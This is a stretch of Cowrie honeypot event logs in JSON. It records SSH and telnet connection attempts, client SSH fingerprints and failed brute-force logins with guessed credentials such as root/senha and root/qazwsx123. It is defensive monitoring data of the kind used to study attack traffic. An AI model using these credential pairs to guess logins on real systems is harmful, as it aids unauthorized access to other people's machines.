{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:10.304890Z","src_ip":"31.40.204.166","session":"d33f85e6e321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.40536522865295,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:11.393096Z","src_ip":"152.42.224.71","session":"ae626a19d606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.217.16.126","src_port":10351,"dst_ip":"159.203.135.109","dst_port":22,"session":"a339c3c0c1e8","protocol":"ssh","message":"New connection: 182.217.16.126:10351 (159.203.135.109:22) [session: a339c3c0c1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:14.420093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:14.425669Z","src_ip":"182.217.16.126","session":"a339c3c0c1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:14.638218Z","src_ip":"182.217.16.126","session":"a339c3c0c1e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"senha","message":"login attempt [root/senha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:15.514970Z","src_ip":"182.217.16.126","session":"a339c3c0c1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:16.737174Z","src_ip":"182.217.16.126","session":"a339c3c0c1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.155.70.122","src_port":52018,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d8635c5a852","protocol":"telnet","message":"New connection: 179.155.70.122:52018 (159.203.135.109:23) [session: 5d8635c5a852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:19.911502Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43492,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d6bf1eca4e","protocol":"ssh","message":"New connection: 31.40.204.166:43492 (159.203.135.109:22) [session: a9d6bf1eca4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:20.394253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:20.409967Z","src_ip":"31.40.204.166","session":"a9d6bf1eca4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:20.602144Z","src_ip":"31.40.204.166","session":"a9d6bf1eca4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:21.422456Z","src_ip":"31.40.204.166","session":"a9d6bf1eca4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163269042969,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:21.760648Z","src_ip":"152.42.224.71","session":"bd377ad32f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:22.617102Z","src_ip":"31.40.204.166","session":"a9d6bf1eca4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.292375564575195,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:25.044127Z","src_ip":"152.42.224.71","session":"b6ab7e02935d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34419512748718,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:27.347313Z","src_ip":"152.42.224.71","session":"55047997fa82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54882,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ac90c20552","protocol":"telnet","message":"New connection: 152.42.224.71:54882 (10.17.0.5:23) [session: e4ac90c20552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:27.868413Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":60474,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d583fe3ca44","protocol":"ssh","message":"New connection: 43.153.54.120:60474 (159.203.135.109:22) [session: 6d583fe3ca44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:28.502409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:28.508326Z","src_ip":"43.153.54.120","session":"6d583fe3ca44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:28.579124Z","src_ip":"43.153.54.120","session":"6d583fe3ca44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@ditzu123","message":"login attempt [root/A@ditzu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:28.882042Z","src_ip":"43.153.54.120","session":"6d583fe3ca44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:29.952962Z","src_ip":"43.153.54.120","session":"6d583fe3ca44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54896,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0a5254d4fc7","protocol":"telnet","message":"New connection: 152.42.224.71:54896 (10.17.0.5:23) [session: e0a5254d4fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:30.735215Z"}
{"eventid":"cowrie.session.closed","duration":120.00186133384705,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:31.594401Z","src_ip":"152.42.224.71","session":"c60004559f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.56430745124817,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:31.994247Z","src_ip":"152.42.224.71","session":"911bf57dc97d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41506,"dst_ip":"159.203.135.109","dst_port":22,"session":"f159079baf87","protocol":"ssh","message":"New connection: 31.40.204.166:41506 (159.203.135.109:22) [session: f159079baf87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:33.283191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:33.305262Z","src_ip":"31.40.204.166","session":"f159079baf87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.490525007247925,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:33.401887Z","src_ip":"179.155.70.122","session":"5d8635c5a852","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:33.484078Z","src_ip":"31.40.204.166","session":"f159079baf87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:34.106261Z","src_ip":"31.40.204.166","session":"f159079baf87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:35.301063Z","src_ip":"31.40.204.166","session":"f159079baf87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54898,"dst_ip":"10.17.0.5","dst_port":23,"session":"631b83c773b3","protocol":"telnet","message":"New connection: 152.42.224.71:54898 (10.17.0.5:23) [session: 631b83c773b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:35.361647Z"}
{"eventid":"cowrie.session.closed","duration":53.74802589416504,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:36.283003Z","src_ip":"152.42.224.71","session":"ecd577bf311e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.131.71.115","src_port":53440,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a933e327eb0","protocol":"telnet","message":"New connection: 189.131.71.115:53440 (159.203.135.109:23) [session: 8a933e327eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:36.310653Z"}
{"eventid":"cowrie.session.closed","duration":55.47086000442505,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:37.217244Z","src_ip":"152.42.224.71","session":"0955f7f0b088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36818,"dst_ip":"10.17.0.5","dst_port":23,"session":"96dcf275f788","protocol":"telnet","message":"New connection: 152.42.224.71:36818 (10.17.0.5:23) [session: 96dcf275f788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:38.950666Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36828,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54c03d5cbfd","protocol":"telnet","message":"New connection: 152.42.224.71:36828 (10.17.0.5:23) [session: d54c03d5cbfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:40.214930Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":59022,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f81261f38c3","protocol":"ssh","message":"New connection: 103.77.242.62:59022 (10.17.0.5:22) [session: 7f81261f38c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:40.702202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:40.707434Z","src_ip":"103.77.242.62","session":"7f81261f38c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:40.951873Z","src_ip":"103.77.242.62","session":"7f81261f38c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfzxcv","message":"login attempt [root/asdfzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:41.672495Z","src_ip":"103.77.242.62","session":"7f81261f38c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.288319110870361,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:42.649854Z","src_ip":"152.42.224.71","session":"631b83c773b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:42.914924Z","src_ip":"103.77.242.62","session":"7f81261f38c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.99523043632507,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.044839Z","src_ip":"152.42.224.71","session":"4941e96ae2fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":34042,"dst_ip":"159.203.135.109","dst_port":22,"session":"30a2bb9ca48c","protocol":"ssh","message":"New connection: 94.230.136.33:34042 (159.203.135.109:22) [session: 30a2bb9ca48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.151324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.156581Z","src_ip":"94.230.136.33","session":"30a2bb9ca48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36840,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfd483000aad","protocol":"telnet","message":"New connection: 152.42.224.71:36840 (10.17.0.5:23) [session: cfd483000aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.268487Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.308477Z","src_ip":"94.230.136.33","session":"30a2bb9ca48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:44.949911Z","src_ip":"94.230.136.33","session":"30a2bb9ca48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42128,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24dc571de67","protocol":"telnet","message":"New connection: 152.42.224.71:42128 (10.17.0.5:23) [session: d24dc571de67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.031721Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.105396Z","src_ip":"94.230.136.33","session":"30a2bb9ca48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54062,"dst_ip":"159.203.135.109","dst_port":22,"session":"3752964bdc69","protocol":"ssh","message":"New connection: 31.40.204.166:54062 (159.203.135.109:22) [session: 3752964bdc69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.489560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.589533Z","src_ip":"31.40.204.166","session":"3752964bdc69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.06397366523743,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:20:46.657680Z","src_ip":"152.42.224.71","session":"e11e4953306a","protocol":"telnet"}
